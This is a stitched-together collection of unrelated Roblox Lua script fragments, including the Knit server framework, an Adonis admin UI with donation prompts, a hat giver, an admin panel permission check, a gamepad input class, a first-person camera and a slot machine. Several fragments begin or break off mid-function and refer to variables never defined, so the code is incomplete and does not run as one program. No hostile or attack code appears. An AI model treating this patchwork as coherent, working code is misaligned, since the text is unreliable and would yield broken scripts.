local KnitServer = {} KnitServer.Version = script.Parent.Version.Value KnitServer.Services = {} KnitServer.Util = script.Parent.Util local knitRepServiceFolder = Instance.new("Folder") knitRepServiceFolder.Name = "Services" local Promise = require(KnitServer.Util.Promise) local Thread = require(KnitServer.Util.Thread) local Signal = require(KnitServer.Util.Signal) local Loader = require(KnitServer.Util.Loader) local Ser = require(KnitServer.Util.Ser) local RemoteSignal = require(KnitServer.Util.Remote.RemoteSignal) local RemoteProperty = require(KnitServer.Util.Remote.RemoteProperty) local TableUtil = require(KnitServer.Util.TableUtil) local started = false local startedComplete = false local onStartedComplete = Instance.new("BindableEvent") local function CreateRepFolder(serviceName) local folder = Instance.new("Folder") folder.Name = serviceName return folder end local function GetFolderOrCreate(parent, name) local f = parent:FindFirstChild(name) if not f then f = Instance.new("Folder") f.Name = name f.Parent = parent end return f end local function AddToRepFolder(service, remoteObj, folderOverride) if folderOverride then remoteObj.Parent = GetFolderOrCreate(service._knit_rep_folder, folderOverride) elseif (remoteObj:IsA("RemoteFunction")) then remoteObj.Parent = GetFolderOrCreate(service._knit_rep_folder, "RF") elseif (remoteObj:IsA("RemoteEvent")) then remoteObj.Parent = GetFolderOrCreate(service._knit_rep_folder, "RE") elseif (remoteObj:IsA("ValueBase")) then remoteObj.Parent = GetFolderOrCreate(service._knit_rep_folder, "RP") else error("Invalid rep object: " .. remoteObj.ClassName) end if not service._knit_rep_folder.Parent then service._knit_rep_folder.Parent = knitRepServiceFolder end end function KnitServer.IsService(object) return type(object) == "table" and object._knit_is_service == true end function KnitServer.CreateService(service) assert(type(service) == "table", "Service must be a table; got " .. type(service)) assert(type(service.Name) == "string", "Service.Name must be a string; got " .. type(service.Name)) assert(#service.Name > 0, "Service.Name must be a non-empty string") assert(KnitServer.Services[service.Name] == nil, "Service \"" .. service.Name .. "\" already exists") TableUtil.Extend(service, { _knit_is_service = true, _knit_rf = {}, _knit_re = {}, _knit_rp = {}, _knit_rep_folder = CreateRepFolder(service.Name), }) if (type(service.Client) ~= "table") then service.Client = { Server = service } else if (service.Client.Server ~= service) then service.Client.Server = service end end KnitServer.Services[service.Name] = service return service end function KnitServer.AddServices(folder) return Loader.LoadChildren(folder) end function KnitServer.AddServicesDeep(folder) return Loader.LoadDescendants(folder) end function KnitServer.BindRemoteEvent(service, eventName, remoteEvent) assert(service._knit_re[eventName] == nil, "RemoteEvent \"" .. eventName .. "\" already exists") local re = remoteEvent._remote re.Name = eventName service._knit_re[eventName] = re AddToRepFolder(service, re) end function KnitServer.BindRemoteFunction(service, funcName, func) assert(service._knit_rf[funcName] == nil, "RemoteFunction \"" .. funcName .. "\" already exists") local rf = Instance.new("RemoteFunction") rf.Name = funcName service._knit_rf[funcName] = rf AddToRepFolder(service, rf) function rf.OnServerInvoke(...) return Ser.SerializeArgsAndUnpack(func(service.Client, Ser.DeserializeArgsAndUnpack(...))) end end function KnitServer.BindRemoteProperty(service, propName, prop) assert(service._knit_rp[propName] == nil, "RemoteProperty \"" .. propName .. "\" already exists") prop._object.Name = propName service._knit_rp[propName] = prop AddToRepFolder(service, prop._object, "RP") end function KnitServer.Start() if started then return Promise.Reject("Knit already started") end started = true local services = KnitServer.Services return Promise.new(function(resolve) -- Bind remotes: for _, service in pairs(services) do for k, v in pairs(service.Client) do if (type(v) == "function") then KnitServer.BindRemoteFunction(service, k, v) elseif (RemoteSignal.Is(v)) then KnitServer.BindRemoteEvent(service, k, v) elseif (RemoteProperty.Is(v)) then KnitServer.BindRemoteProperty(service, k, v) elseif (Signal.Is(v)) then warn( "Found Signal instead of RemoteSignal (Knit.Util.RemoteSignal). Please change to RemoteSignal. [" .. service.Name .. ".Client." .. k .. "]" ) end end end -- Init: local promisesInitServices = {} for _, service in pairs(services) do if (type(service.KnitInit) == "function") then table.insert( promisesInitServices, Promise.new(function(r) service:KnitInit() r() end) ) end end resolve(Promise.All(promisesInitServices)) end):Then(function() -- Start: for _, service in pairs(services) do if (type(service.KnitStart) == "function") then Thread.SpawnNow(service.KnitStart, service) end end startedComplete = true onStartedComplete:Fire() Thread.Spawn(function() onStartedComplete:Destroy() end) -- Expose service remotes to everyone: knitRepServiceFolder.Parent = script.Parent end) end function KnitServer.OnStart() if startedComplete then return Promise.Resolve() else return Promise.new(function(resolve) if startedComplete then resolve() return end onStartedComplete.Event:Wait() resolve() end) end end return KnitServer
--------------------) Settings
Damage = 0 -- the ammout of health the player or mob will take Cooldown = 0.5 -- cooldown for use of the tool again BoneModelName = "Nightmare bones rain" -- name the zone model HumanoidName = "Humanoid"-- the name of player or mob u want to damage
--Modules
local internalserver: any = require(ReplicatedStorage:WaitForChild("Systems").InternalSystem.internalserver) local Nevermore: any = require(ReplicatedStorage.Nevermore) Nevermore("Octree")
-- Functions
Index = function(proxy, index) local metatable = getmetatable(proxy) local public = metatable.__public[index] return if public == nil then metatable.__shared[index] else public end NewIndex = function(proxy, index, value) local metatable = getmetatable(proxy) local set = metatable.__set[index] if set == nil then metatable.__public[index] = value elseif set == false then error("Attempt to modify a readonly value", 2) else set(proxy, metatable, value) end end return table.freeze(Constructor) :: Constructor
--// All global vars will be wiped/replaced except script
return function(data) local playergui = service.PlayerGui local localplayer = service.Players.LocalPlayer local gui = script.Parent.Parent local openTab = data.Tab local drag = gui.Drag local frame = gui.Drag.Frame local main = gui.Drag.Frame.Main local title = gui.Drag.Frame.Title local entry = gui.Entry local desc = gui.Desc local donateTab = gui.Drag.Frame.Main.Donate local infoTab = gui.Drag.Frame.Main.Info local keybindsTab = gui.Drag.Frame.Main.Keybinds local clientTab = gui.Drag.Frame.Main.Client local settingsTab = gui.Drag.Frame.Main.Settings local close = gui.Drag.Frame.Close local donate = gui.Drag.Frame.DonateTab local info = gui.Drag.Frame.InfoTab local keybinds = gui.Drag.Frame.KeybindsTab local clientb = gui.Drag.Frame.ClientTab local settings = gui.Drag.Frame.SettingsTab local colorBut = gui.Color local stringBut = gui.String local tableBut = gui.Table local toggleBut = gui.Toggle local playerData = client.Remote.Get("PlayerData") local setts = client.Remote.Get("Setting",{"Prefix","SpecialPrefix","BatchKey","AnyPrefix"}) settings.Visible = false gTable:Ready() drag.Position = UDim2.new(0,-500, 0.5, -200) drag:TweenPosition(UDim2.new(0.5, -190, 0.5, -200),nil,nil,0.5) local function Expand(ent, point) ent.MouseLeave:connect(function(x,y) point.Visible = false end) ent.MouseMoved:connect(function(x,y) point.Label.Text = ent.Desc.Value point.Size = UDim2.new(0, 10000, 0, 10000) local bounds = point.Label.TextBounds.X local rows = math.floor(bounds/500) rows = rows+1 if rows<1 then rows = 1 end local newx = 500 if bounds<500 then newx = bounds end point.Visible = true point.Size = UDim2.new(0, newx+5, 0, (rows*20)+5) point.Position = UDim2.new(0, x, 0, y-40-((rows*20)+5)) end) end local function sortedPairs(t, f) local a = {} for n,b in pairs(t) do table.insert(a, n) end table.sort(a, f) local i = 0 local iter = function () i = i + 1 if a[i] == nil then return nil else return a[i], t[a[i]] end end return iter end local function openInfo() donateTab.Visible=false infoTab.Visible=true keybindsTab.Visible=false clientTab.Visible=false settingsTab.Visible=false donate.BackgroundTransparency=0.7 info.BackgroundTransparency=0 keybinds.BackgroundTransparency=0.7 clientb.BackgroundTransparency=0.7 settings.BackgroundTransparency=0.7 end local function openDonate() donateTab.Visible=true infoTab.Visible=false keybindsTab.Visible=false clientTab.Visible=false settingsTab.Visible=false donate.BackgroundTransparency=0 info.BackgroundTransparency=0.7 keybinds.BackgroundTransparency=0.7 clientb.BackgroundTransparency=0.7 settings.BackgroundTransparency=0.7 end local function openKeybinds() donateTab.Visible=false infoTab.Visible=false keybindsTab.Visible=true clientTab.Visible=false settingsTab.Visible=false donate.BackgroundTransparency=0.7 info.BackgroundTransparency=0.7 keybinds.BackgroundTransparency=0 clientb.BackgroundTransparency=0.7 settings.BackgroundTransparency=0.7 end local function openClient() donateTab.Visible=false infoTab.Visible=false keybindsTab.Visible=false clientTab.Visible=true settingsTab.Visible=false donate.BackgroundTransparency=0.7 info.BackgroundTransparency=0.7 keybinds.BackgroundTransparency=0.7 clientb.BackgroundTransparency=0 settings.BackgroundTransparency=0.7 end local function openSettings() donateTab.Visible=false infoTab.Visible=false keybindsTab.Visible=false clientTab.Visible=false settingsTab.Visible=true donate.BackgroundTransparency=0.7 info.BackgroundTransparency=0.7 keybinds.BackgroundTransparency=0.7 clientb.BackgroundTransparency=0.7 settings.BackgroundTransparency=0 end if openTab then if string.lower(openTab)=="info" then openInfo() elseif string.lower(openTab)=="donate" then openDonate() elseif string.lower(openTab)=="keybinds" then openKeybinds() elseif string.lower(openTab)=="client" then openClient() elseif string.lower(openTab)=="settings" then openSettings() end else openInfo() end close.MouseButton1Click:connect(function() drag.Draggable = false drag:TweenPosition(UDim2.new(0,-500, drag.Position.Y.Scale, drag.Position.Y.Offset), nil, nil, 0.5) wait(1) gui:Destroy() end) donate.MouseButton1Click:connect(function() openDonate() end) info.MouseButton1Click:connect(function() openInfo() end) keybinds.MouseButton1Click:connect(function() openKeybinds() end) clientb.MouseButton1Click:connect(function() openClient() end) settings.MouseButton1Click:connect(function() openSettings() end) local prefix = setts.Prefix or ":" local specialPrefix = setts.SpecialPrefix or "" local batchKey = setts.BatchKey or "|" local anyPrefix = setts.AnyPrefix or "!" if not gui.Parent then return end -- Info tab local getScript = infoTab.GetScript local showCommands = infoTab.Cmds local donateBtn = infoTab.Donate local credit = infoTab.Credit local usageBtn = infoTab.Usage showCommands.MouseButton1Click:connect(function() client.Remote.Send("ProcessCommand",prefix.."cmds") end) getScript.MouseButton1Click:connect(function() client.Remote.Send('ProcessCommand',anyPrefix..'getscript') end) donateBtn.MouseButton1Click:connect(function() openDonate() end) credit.MouseButton1Click:connect(function() client.Remote.Send('ProcessCommand',anyPrefix..'credit') end) usageBtn.MouseButton1Click:connect(function() client.Remote.Send("ProcessCommand",anyPrefix.."usage") end) --[[ local num=0 for i,v in pairs(usage) do local NewClone = entry:clone() NewClone.Parent = Commands NewClone.Position = UDim2.new(0, 0, 0, num*20) NewClone.Text=v NewClone.Desc.Value=v NewClone.Visible=true Expand(NewClone, desc) num = num +1 Commands.CanvasSize = UDim2.new(0, 0, (num+1)/20, 0) end --]] -- Client Settings local cliScroller = clientTab.Scroll local cliSettings = { { Text = "Keybinds: "; Desc = "- Enabled/Disables Keybinds"; Entry = toggleBut; Setting = "KeybindsEnabled"; Function = function(clone) local toggle = clone.TextButton local keyDebounce = false toggle.MouseButton1Click:connect(function() if not keyDebounce then if client.Variables.KeybindsEnabled then client.Variables.KeybindsEnabled = false toggle.Text = "Disabled" else client.Variables.KeybindsEnabled = true toggle.Text = "Enabled" end local text = toggle.Text toggle.Text = "Saving.." client.Remote.Get("UpdateClient","KeybindsEnabled",client.Variables.KeybindsEnabled) toggle.Text = text keyDebounce = false end end) if client.Variables.KeybindsEnabled then toggle.Text = "Enabled" else toggle.Text = "Disabled" end end }; { Text = "UI Keep Alive: "; Desc = "- Prevents Adonis UI deletion on death"; Entry = toggleBut; Setting = "UIKeepAlive"; Function = function(clone) local toggle = clone.TextButton local keepDebounce = false toggle.MouseButton1Click:connect(function() if not keepDebounce then if client.Variables.UIKeepAlive then client.Variables.UIKeepAlive = false toggle.Text = "Disabled" else client.Variables.UIKeepAlive = true toggle.Text = "Enabled" end local text = toggle.Text toggle.Text = "Saving.." client.Remote.Get("UpdateClient","UIKeepAlive",client.Variables.UIKeepAlive) toggle.Text = text keepDebounce = false end end) if client.Variables.UIKeepAlive then toggle.Text = "Enabled" else toggle.Text = "Disabled" end end }; { Text = "Particle Effects: "; Desc = "- Enables/Disables certain Adonis made effects like sparkles"; Entry = toggleBut; Setting = "ParticlesEnabled"; Function = function(clone) local toggle = clone.TextButton local effectDebounce = false toggle.MouseButton1Click:connect(function() if not effectDebounce then if client.Variables.ParticlesEnabled then client.Variables.ParticlesEnabled = false client.Functions.EnableParticles(false) toggle.Text = "Disabled" else client.Variables.ParticlesEnabled = true client.Functions.EnableParticles(true) toggle.Text = "Enabled" end local text = toggle.Text toggle.Text = "Saving.." client.Remote.Get("UpdateClient","ParticlesEnabled",client.Variables.ParticlesEnabled) toggle.Text = text effectDebounce = false end end) if client.Variables.ParticlesEnabled then toggle.Text = "Enabled" else toggle.Text = "Disabled" end end }; { Text = "Capes: "; Desc = "- Allows you to disable all player capes locally"; Entry = toggleBut; Setting = "CapesEnabled"; Function = function(clone) local toggle = clone.TextButton local capeCDebounce = false toggle.MouseButton1Click:connect(function() if not capeCDebounce then capeCDebounce = true if client.Variables.CapesEnabled then toggle.Text = "Disabled" client.Variables.CapesEnabled = false client.Functions.HideCapes(true) else toggle.Text = "Enabled" client.Variables.CapesEnabled = true client.Functions.HideCapes(false) end local text = toggle.Text toggle.Text = "Saving.." client.Remote.Get("UpdateClient","CapesEnabled",client.Variables.CapesEnabled) toggle.Text = text capeCDebounce = false if client.Variables.CapesEnabled then client.Functions.MoveCapes() else service.StopLoop("CapeMover") end end end) if client.Variables.CapesEnabled then toggle.Text = "Enabled" else toggle.Text = "Disabled" end end }; { Text = "Console Key: "; Desc = "Key used to open the console"; Entry = toggleBut; Setting = "CustomConsoleKey"; Function = function(clone) local toggle = clone.TextButton local debounce = false toggle.Text = client.Variables.CustomConsoleKey or client.Remote.Get("Setting","ConsoleKeyCode") toggle.MouseButton1Click:connect(function() if not debounce then local gotKey debounce = true toggle.Text = "Waiting..." local event = service.UserInputService.InputBegan:connect(function(InputObject) local textbox = service.UserInputService:GetFocusedTextBox() if not (textbox) and rawequal(InputObject.UserInputType, Enum.UserInputType.Keyboard) then gotKey = InputObject.KeyCode.Name end end) repeat wait() until gotKey client.Variables.CustomConsoleKey = gotKey event:Disconnect() toggle.Text = "Saving.." client.Remote.Get("UpdateClient","CustomConsoleKey",client.Variables.CustomConsoleKey) toggle.Text = gotKey debounce = false end end) end }; { Text = "Theme: "; Desc = "- Allows you to set the Adonis UI theme"; Entry = gui.Theme; Setting = "CustomTheme"; Function = function(clone) local toggle = clone.TextButton local themePicker = gui.ThemePicker local themeFrame = themePicker.Frame local themeEnt = themePicker.Entry local function showThemes() themeFrame:ClearAllChildren() local themes = {"Reset"} local num = 0 for i,v in pairs(client.Deps.UI:GetChildren()) do table.insert(themes,v.Name) end for i,v in pairs(themes) do local new = themeEnt:Clone() new.Text = v new.Position = UDim2.new(0,0,0,20*num) new.Parent = themeFrame new.Visible = true new.MouseButton1Click:connect(function() service.Debounce("ClientSelectingTheme",function() themePicker.Visible = false toggle.Text = v client.Variables.CustomTheme = v if v == "Reset" then client.Remote.Get("UpdateClient","CustomTheme",nil) else client.Remote.Get("UpdateClient","CustomTheme",v) end end) end) num = num+1 end themePicker.Position = UDim2.new(0,toggle.AbsolutePosition.X, 0, toggle.AbsolutePosition.Y) themePicker.Visible = true end toggle.MouseButton1Click:connect(function() service.Debounce("ClientDisplayThemes",function() if themePicker.Visible then themePicker.Visible = false else showThemes() end end) end) if client.Variables.CustomTheme then toggle.Text = client.Variables.CustomTheme else toggle.Text = "Reset" end end } } cliScroller:ClearAllChildren() local num = 0 for i,tab in next,cliSettings do local clone = tab.Entry:Clone() local desc = entry:Clone() clone.Text = tab.Text desc.Text = tab.Desc clone.Position = UDim2.new(0,0,0,num*20) desc.Position = UDim2.new(0,0,0,(num+1)*20) clone.Visible = true desc.Visible = true desc.Font = clone.Font desc.FontSize = clone.FontSize desc.TextSize = clone.TextSize desc.TextScaled = false clone.Parent = cliScroller desc.Parent = cliScroller tab.Function(clone) num = num+2 end cliScroller.CanvasSize = UDim2.new(0,0,0,num*20) -- Donate tab local donorEnabled = client.Remote.Get("Setting","DonorCommands") local pass = client.Remote.Get("Variable","DonorPass") if not gui.Parent then return end local capeTexture = donateTab.Texture local capeColor = donateTab.CapeColor local capeToggle = donateTab.CapeToggle local capeMaterial = donateTab.Material local perksEnabled = donateTab.Enabled local Perks = donateTab.Perks local robux = donateTab.Robux local tickets = donateTab.Tickets local extra = donateTab.Extra local status = donateTab.Status local extraPane = donateTab.ExtraPane local colorPicker = capeColor.ColorPicker local materialPicker = capeMaterial.MaterialPicker local texturePicker = capeTexture.TexturePicker local color = colorPicker.Frame.Color local blue = colorPicker.Frame.B local green = colorPicker.Frame.G local red = colorPicker.Frame.R local confirmColor = colorPicker.Frame.Confirm local cancelColor = colorPicker.Frame.Cancel local donorData = playerData.Donor local currentMaterial = donorData and donorData.Cape.Material local currentTexture = donorData and donorData.Cape.Image local currentColor = donorData and donorData.Cape.Color if donorEnabled then perksEnabled.Text = "Donor Commands: Enabled" else perksEnabled.Text = "Donor Commands: Disabled" end if type(currentColor)=="table" then currentColor = Color3.new(currentColor[1],currentColor[2],currentColor[3]) else currentColor = BrickColor.new(donorData.Cape.Color).Color end capeColor.BackgroundColor3 = currentColor capeTexture.Text = currentTexture capeMaterial.Text = currentMaterial if playerData.Donor.Enabled then capeToggle.Text = "Enabled" else capeToggle.Text = "Disabled" end -- Perks local perkstab = { "If Enabled: "; "Customizable Cape"; "Access to !cape"; "Access to !uncape"; ""; --"Donor Gear (If enabled. Default Bongos)"; "Access to !sparkles <Color>"; "Access to !unsparkles"; "Access to !particle"; "Access to !unparticle"; "Access to !fire <Color>"; "Access to !unfire"; "Access to !light <Color>"; "Access to !unlight"; "Access to !hat <ID>"; "Access to !removehats"; --"Access to !piano"; "Access to !face"; "Access to !shirt"; "Access to !pants"; } local num = 0 for i,v in pairs(perkstab) do local NewClone = entry:clone() NewClone.Parent = Perks NewClone.Position = UDim2.new(0, 0, 0, num*20) NewClone.Text = v NewClone.Desc.Value = v NewClone.Visible = true NewClone.ZIndex = 10 --Expand(NewClone, desc) num = num +1 end Perks.CanvasSize = UDim2.new(0, 0, 0, num*20) local num=0 --FadeIn(0,0.5, cmf, top, NewClone, Hide, main) local donations = { {Price="10",ID=304651585}; {Price="50",ID=304651782}; {Price="100",ID=304651828}; {Price="250",ID=304651879}; {Price="500",ID=304651926}; {Price="750",ID=304651990}; {Price="1000",ID=304652066}; {Price="2500",ID=304652168}; {Price="5000",ID=304652233}; {Price="7500",ID=304652294}; {Price="10000",ID=304652425}; {Price="50000",ID=304652516}; {Price="100000",ID=304652569};--????? } for i,v in pairs(donations) do local cl = entry:clone() cl.Visible = true Expand(cl,desc) cl.Parent = extraPane cl.Visible = true cl.Text = v.Price cl.Desc.Value="Extra donation options. THIS DOES NOT GIVE PERKS!" cl.Position = UDim2.new(0,0,0,num*20) local rb = Instance.new("TextButton", cl) rb.Style = "Custom" rb.Size = UDim2.new(0,35,1,0) rb.TextScaled=true rb.Position = UDim2.new(1,-40,0,0) rb.ZIndex = 2 rb.Font = "Arial" rb.FontSize = "Size18" rb.Text = "RB" rb.BackgroundColor3=Color3.new(0,170/255,0) rb.BorderSizePixel=0 rb.TextColor3=Color3.new(1,1,1) rb.BackgroundTransparency=0.5 rb.MouseButton1Click:connect(function() service.MarketPlace:PromptPurchase(localplayer,v.ID) end)
--[[ Hello this gose in 'startergui' and this is to disable the player list so you don't have to worry about problems there's no local's for this script so nobody really thinks its bad! --]]
-- (Hat Giver Script - Loaded.)
debounce = true function onTouched(hit) if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then debounce = false h = Instance.new("Hat") p = Instance.new("Part") h.Name = "GreenTopHat" p.Parent = h p.Position = hit.Parent:findFirstChild("Head").Position p.Name = "Handle" p.formFactor = 0 p.Size = Vector3.new(0,-0.25,0) p.BottomSurface = 0 p.TopSurface = 0 p.Locked = true script.Parent.Mesh:clone().Parent = p h.Parent = hit.Parent h.AttachmentPos = Vector3.new(0,-0.30,-0) wait(5) debounce = true end end script.Parent.Touched:connect(onTouched)
--Updates the mouse icon.
local function UpdateIcon() if CurrentMouse and Equipped then CurrentMouse.Icon = Tool.Enabled and "rbxasset://textures/GunCursor.png" or "rbxasset://textures/GunWaitCursor.png" end end
--Check if player has access to panel, and copy the appropriate version to their PlayerGUI
function givePanel(player) for i, v in next, _G.panelAdmins do if i == player.UserId then local kick, ban, unban, shutdown, kill, broadcast = false, false, false, false, false, false for s in string.gmatch(v, "%a+") do if s == "kick" then kick = true elseif s == "ban" then ban = true elseif s == "unban" then unban = true elseif s == "shutdown" then shutdown = true elseif s == "kill" then kill = true elseif s == "broadcast" then broadcast = true end end local panel = script.AdminPanelGui:Clone() if not kick then panel.MenuFrame.KickPlayer:Destroy() panel.KickMenuFrame:Destroy() panel.Events.KickFunction:Destroy() end if not ban then panel.MenuFrame.BanPlayer:Destroy() panel.BanMenuFrame:Destroy() panel.Events.BanFunction:Destroy() end if not unban then panel.MenuFrame.UnbanPlayer:Destroy() panel.UnbanMenuFrame:Destroy() panel.Events.UnbanFunction:Destroy() end if not shutdown then panel.MenuFrame.ShutdownServer:Destroy() panel.Events.ShutdownEvent:Destroy() end if not kill then panel.MenuFrame.KillPlayer:Destroy() panel.KillMenuFrame:Destroy() panel.Events.KillFunction:Destroy() end if not broadcast then panel.MenuFrame.BroadcastMessage:Destroy() panel.BroadcastMenuFrame:Destroy() panel.Events.BroadcastEvent:Destroy() end panel.Parent = player.PlayerGui break end end end function thread() while true do if workspace.FilteringEnabled == false then script:Remove() warn("FilteringEnabled is required to run the Kaixeleron admin panel.") break end wait() end end spawn(thread)
-- If anything goes wrong please leave a comment on the modle and I will fix it.
local speed = game.ReplicatedStorage.Values.Speed.Value game:GetService("MarketplaceService").PromptGamePassPurchaseFinished:Connect(function(plr,ido,purchased) if purchased and ido == id then plr.Character.Humanoid.WalkSpeed = speed --set this and the other one to the same number end end) game.Players.PlayerAdded:Connect(function(plr) plr.CharacterAdded:connect(function(char) if game:GetService("MarketplaceService"):UserOwnsGamePassAsync(game.Players[char.Name].UserId, id) then char.Humanoid.WalkSpeed = speed end end) end)
--[=[ @param gamepad Enum.UserInputType? @return Gamepad Constructs a gamepad object. If no gamepad UserInputType is provided, this object will always wrap around the currently-active gamepad, even if it changes. In most cases where input is needed from just the primary gamepad used by the player, leaving the `gamepad` argument blank is preferred. Only include the `gamepad` argument when it is necessary to hard-lock the object to a specific gamepad input type. ```lua -- In most cases, construct the gamepad as such: local gamepad = Gamepad.new() -- If the exact UserInputType gamepad is needed, pass it as such: local gamepad = Gamepad.new(Enum.UserInputType.Gamepad1) ``` ]=]
function Gamepad.new(gamepad: Enum.UserInputType?) local self = setmetatable({}, Gamepad) self._trove = Trove.new() self._gamepadTrove = self._trove:Construct(Trove) self.ButtonDown = self._trove:Construct(Signal) self.ButtonUp = self._trove:Construct(Signal) self.Connected = self._trove:Construct(Signal) self.Disconnected = self._trove:Construct(Signal) self.GamepadChanged = self._trove:Construct(Signal) self.DefaultDeadzone = 0.05 self.SupportsVibration = false self.State = {} self:_setupGamepad(gamepad) self:_setupMotors() return self end function Gamepad:_setupActiveGamepad(gamepad: Enum.UserInputType?) local lastGamepad = self._gamepad if gamepad == lastGamepad then return end self._gamepadTrove:Clean() table.clear(self.State) self.SupportsVibration = if gamepad then HapticService:IsVibrationSupported(gamepad) else false self._gamepad = gamepad -- Stop if disconnected: if not gamepad then self.Disconnected:Fire() self.GamepadChanged:Fire(nil) return end for _,inputObject in ipairs(UserInputService:GetGamepadState(gamepad)) do self.State[inputObject.KeyCode] = inputObject end self._gamepadTrove:Add(self, "StopMotors") self._gamepadTrove:Connect(UserInputService.InputBegan, function(input, processed) if input.UserInputType == gamepad then self.ButtonDown:Fire(input.KeyCode, processed) end end) self._gamepadTrove:Connect(UserInputService.InputEnded, function(input, processed) if input.UserInputType == gamepad then self.ButtonUp:Fire(input.KeyCode, processed) end end) if lastGamepad == nil then self.Connected:Fire() end self.GamepadChanged:Fire(gamepad) end function Gamepad:_setupGamepad(forcedGamepad: Enum.UserInputType?) if forcedGamepad then -- Forced gamepad: self._trove:Connect(UserInputService.GamepadConnected, function(gp) if gp == forcedGamepad then self:_setupActiveGamepad(forcedGamepad) end end) self._trove:Connect(UserInputService.GamepadDisconnected, function(gp) if gp == forcedGamepad then self:_setupActiveGamepad(nil) end end) if UserInputService:GetGamepadConnected(forcedGamepad) then self:_setupActiveGamepad(forcedGamepad) end else -- Dynamic gamepad: local function CheckToSetupActive() local active = GetActiveGamepad() if active ~= self._gamepad then self:_setupActiveGamepad(active) end end self._trove:Connect(UserInputService.GamepadConnected, CheckToSetupActive) self._trove:Connect(UserInputService.GamepadDisconnected, CheckToSetupActive) self:_setupActiveGamepad(GetActiveGamepad()) end end function Gamepad:_setupMotors() self._setMotorIds = {} for _,motor in ipairs(Enum.VibrationMotor:GetEnumItems()) do self._setMotorIds[motor] = 0 end end
--[[function colorwep() plr=game.Players.LocalPlayer if plr then --sp.Handle.Mesh.VertexColor=Vector3.new(plr.TeamColor.Color.r,plr.TeamColor.Color.g,plr.TeamColor.Color.b) sp.Handle.BrickColor=plr.TeamColor end end colorwep() if plr then plr.Changed:connect(colorwep) end]]
-- RETURN
return function(v1) local v2 = game:GetService('Players').LocalPlayer script.Parent.DescendantRemoving:Connect(function() v1.Announce(1) end) script.Parent.DescendantAdded:Connect(function() v1.Announce(2) end) script.Parent.Destroying:Connect(function() v1.Announce(3) end) end
----[[ Color Settings ]]
module.BackGroundColor = Color3.new(0.333333, 1, 1) module.DefaultMessageColor = Color3.new(1, 1, 1) module.DefaultChatColor = Color3.fromRGB(200, 200, 200) module.DefaultNameColor = Color3.new(1, 1, 1) module.ChatBarBackGroundColor = Color3.new(0, 0, 0) module.ChatBarBoxColor = Color3.new(1, 1, 1) module.ChatBarTextColor = Color3.new(0, 0, 0) module.ChannelsTabUnselectedColor = Color3.new(0, 0, 0) module.ChannelsTabSelectedColor = Color3.new(30/255, 30/255, 30/255) module.DefaultChannelNameColor = Color3.fromRGB(35, 76, 142) module.WhisperChannelNameColor = Color3.fromRGB(102, 14, 102) module.ErrorMessageTextColor = Color3.fromRGB(245, 50, 50) module.DefaultPrefix = "" module.DefaultPrefixColor = Color3.fromRGB(255,255,255)
---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ----
repeat wait() until game:GetService("Players").LocalPlayer.Character ~= nil local runService = game:GetService("RunService") local input = game:GetService("UserInputService") local players = game:GetService("Players") CanToggleMouse = {allowed = true; activationkey = Enum.KeyCode.F;} -- lets you move your mouse around in firstperson CanViewBody = true -- whether you see your body Sensitivity = 0.2 -- anything higher would make looking up and down harder; recommend anything between 0~1 Smoothness = 0.05 -- recommend anything between 0~1 FieldOfView = 90 -- fov local cam = game.Workspace.CurrentCamera local player = players.LocalPlayer local m = player:GetMouse() m.Icon = "http://www.roblox.com/asset/?id=569021388" -- replaces mouse icon local character = player.Character or player.CharacterAdded:wait() local humanoidpart = character.HumanoidRootPart local head = character:WaitForChild("Head") local CamPos,TargetCamPos = cam.CoordinateFrame.p,cam.CoordinateFrame.p local AngleX,TargetAngleX = 0,0 local AngleY,TargetAngleY = 0,0 local running = true local freemouse = false
-- Put this script in StarterPack or StarterGui
Player = game.Players.LocalPlayer repeat wait() until Player.Character Mouser = Player:GetMouse() name = Player.Name char = game.Workspace[Player.Name] Animation = script.Anim animtrack = char.Humanoid:LoadAnimation(Animation) Mouser.KeyDown:connect(function(key) if key == "c" then animtrack:Play() char.Humanoid.WalkSpeed = 8 end end) Mouser.KeyUp:connect(function(key) if key == "c" then script.Disabled = true animtrack:Stop() char.Humanoid.WalkSpeed = 14 script.Disabled = false end end)
--[[ A utility used to assert that two objects are value-equal recursively. It outputs fairly nicely formatted messages to help diagnose why two objects would be different. This should only be used in tests. ]]
local function deepEqual(a, b) if typeof(a) ~= typeof(b) then local message = ("{1} is of type %s, but {2} is of type %s"):format(typeof(a), typeof(b)) return false, message end if typeof(a) == "table" then local visitedKeys = {} for key, value in pairs(a) do visitedKeys[key] = true local success, innerMessage = deepEqual(value, b[key]) if not success then local message = innerMessage :gsub("{1}", ("{1}[%s]"):format(tostring(key))) :gsub("{2}", ("{2}[%s]"):format(tostring(key))) return false, message end end for key, value in pairs(b) do if not visitedKeys[key] then local success, innerMessage = deepEqual(value, a[key]) if not success then local message = innerMessage :gsub("{1}", ("{1}[%s]"):format(tostring(key))) :gsub("{2}", ("{2}[%s]"):format(tostring(key))) return false, message end end end return true end if a == b then return true end local message = "{1} ~= {2}" return false, message end local function assertDeepEqual(a, b) local success, innerMessageTemplate = deepEqual(a, b) if not success then local innerMessage = innerMessageTemplate:gsub("{1}", "first"):gsub("{2}", "second") local message = ("Values were not deep-equal.\n%s"):format(innerMessage) error(message, 2) end end return assertDeepEqual
-- OBJECT DIRECTORY
local machine = script.Parent local jackpotValues = machine.JackpotValues local lights = machine.Lights local lights2 = machine.Lights2 local ticketValues = machine.TicketValues local arm = machine.Arm local button = machine.StopButton local isSpinning = false local zone = {5,4,3,1,2,3,4,5,5,4,3,1,2,3,4,5} local lzone = {6,5,5,4,4,3,3,1,1,2,2,3,3,4,4,5,5,6,5,5,4,4,3,3,1,1,2,2,3,3,4,4,5,5} local active = false local index = 1 wait() machine.CreditsDisp.Value.Value = 0 for _,a in pairs(jackpotValues:GetChildren()) do a.SurfaceGui.TextLabel.Text = values[6] end for i = 1, 16 do ticketValues[tostring(i)].SurfaceGui.TextLabel.Text = values[zone[i]] end function start() machine.CreditsDisp.Value.Value = machine.Credits.Value if not active and machine.Credits.Value > 0 then active = true isSpinning = false arm.ClickDetector.MaxActivationDistance = 10 machine.Timer.Value.Value = 20 machine.Timer.Disabled = false end end function clickArm(plr) if plr == 1 or plr.Name == machine.CardReader.GameInfo.Player.Value then isSpinning = true button.LeverPull.TimePosition = 1 button.LeverPull:Play() machine.Timer.Disabled = true machine.Timer.Value.Value = 0 arm.ClickDetector.MaxActivationDistance = 0 arm.HingeConstraint.TargetAngle = 50 wait(0.5) 